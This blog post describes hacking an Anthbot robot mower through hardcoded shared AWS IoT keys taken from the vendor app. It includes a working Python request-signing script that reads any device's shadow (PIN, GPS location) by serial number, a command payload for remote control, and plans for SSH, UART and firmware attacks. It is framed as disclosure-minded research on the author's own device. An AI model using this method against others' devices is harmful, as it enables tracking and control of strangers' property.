Anthbot Genie 600 robot mower hacked - hardcoded AWS keys and PIN in plaintext

I bought myself an Anthbot Genie 600 robot mower and wanted to know what it was up to. After a few hours of nmap, tcpdump and Python scripting I had access to the complete device status, all sensor data, and I can send commands. The dumb part is that Anthbot uses hardcoded AWS credentials in their app that anyone can read out. With those, anyone who knows a serial number can control any Anthbot mower worldwide.

Cloud-only architecture

The mower has no local API. Everything runs through AWS IoT in Frankfurt (eu-central-1). The device pushes its status into an AWS IoT Device Shadow every 4-5 seconds. The app reads from and writes to this shadow, and the device syncs itself automatically. No direct contact between app and mower needed.

A Device Shadow is a JSON document in the cloud that mirrors the complete device state. There are two shadows: property for status and sensor data, service for commands and OTA updates.

The security flaw

The GitHub repository vincentjanv/anthbot_genie_ha contains hardcoded AWS access keys that were extracted from the official Anthbot app. These keys allow you to:

Read the AWS IoT Device Shadow for any Anthbot device worldwide (only the serial number needs to be known)

Write the Device Shadow (send commands)

No S3 access (the firmware is in a separate bucket)

This is a serious security bug: shared IoT credentials for all devices instead of per-device certificates. Anyone who knows a serial number (e.g. from a photo of the label) can read out and control the device.

Reading the shadow

The shadow contains everything: battery level, GPS position, WiFi IP, cutting height, mowing schedules. And the PIN code in plaintext.

import datetime, hashlib, hmac, json, urllib.request

ACCESS_KEY = "..." # siehe github.com/vincentjanv/anthbot_genie_ha
SECRET_KEY = "..." # const.py, EU-Region
REGION = "eu-central-1"
HOST = "a2bhy9nr7jkgaj-ats.iot.eu-central-1.amazonaws.com"
SN = "XXXXXXXXXXXX"

def sign(key, msg):
return hmac.new(key, msg.encode(), hashlib.sha256).digest()

def get_sig_key(secret, date, region, service):
return sign(sign(sign(sign(("AWS4"+secret).encode(), date), region), service), "aws4_request")

now = datetime.datetime.utcnow()
amz_date = now.strftime('%Y%m%dT%H%M%SZ')
date_stamp = now.strftime('%Y%m%d')
path = f"/things/{SN}/shadow"
query = "name=property"
payload_hash = hashlib.sha256(b"").hexdigest()
headers = f"host:{HOST}\nx-amz-content-sha256:{payload_hash}\nx-amz-date:{amz_date}\n"
signed_headers = "host;x-amz-content-sha256;x-amz-date"
canonical = f"GET\n{path}\n{query}\n{headers}\n{signed_headers}\n{payload_hash}"
credential_scope = f"{date_stamp}/{REGION}/iotdata/aws4_request"
string_to_sign = f"AWS4-HMAC-SHA256\n{amz_date}\n{credential_scope}\n{hashlib.sha256(canonical.encode()).hexdigest()}"
sig_key = get_sig_key(SECRET_KEY, date_stamp, REGION, "iotdata")
signature = hmac.new(sig_key, string_to_sign.encode(), hashlib.sha256).hexdigest()
auth = f"AWS4-HMAC-SHA256 Credential={ACCESS_KEY}/{credential_scope}, SignedHeaders={signed_headers}, Signature={signature}"
url = f"https://{HOST}{path}?{query}"
req = urllib.request.Request(url, headers={"host": HOST, "x-amz-date": amz_date, "x-amz-content-sha256": payload_hash, "Authorization": auth})
with urllib.request.urlopen(req, timeout=10) as r:
print(json.dumps(json.loads(r.read()), indent=2))

The shadow shows me everything: battery level 100%, status "charge", GPS coordinates, mapped area 517m², cutting height 50mm, mowing schedule for every day 21:00-08:00. And, of course, the PIN code.

Sending commands

You write commands into the service shadow:

POST /things/SN/shadow?name=service
{
"state": {
"desired": {
"cmd": "mow_start",
"data": 1
}
}
}

Known commands: mow_start, stop_all_tasks, charge_start, param_set for cutting height, volume_ctl for volume. The device polls the shadow every few seconds and executes the commands.

SSH not cracked yet

Port 22 is open (Dropbear SSH, Linux), but I don't have the password yet. Tried all the default credentials, nothing works. The next step would be UART access: open up the device, find the UART pins, hook up a USB-UART adapter, and capture the bootloader output. Or download the firmware via phone MITM and analyze it with binwalk.

Monitoring is running

I have a Python script that polls the shadow every 30 seconds and writes it into InfluxDB. It runs as a systemd service on my homelab server. Battery level, mowing time, GPS position, maintenance status, all in Grafana.

[[img:1]]

What's still to come

Download and unpack the .MowerPack firmware

Determine the SSH password via UART

Examine the camera feed (the thing has a camera!)

Report the security flaw to Anthbot

Check whether the keys really give access to all Anthbot devices

Until then: my mower is under monitoring and I can control it with a Python script.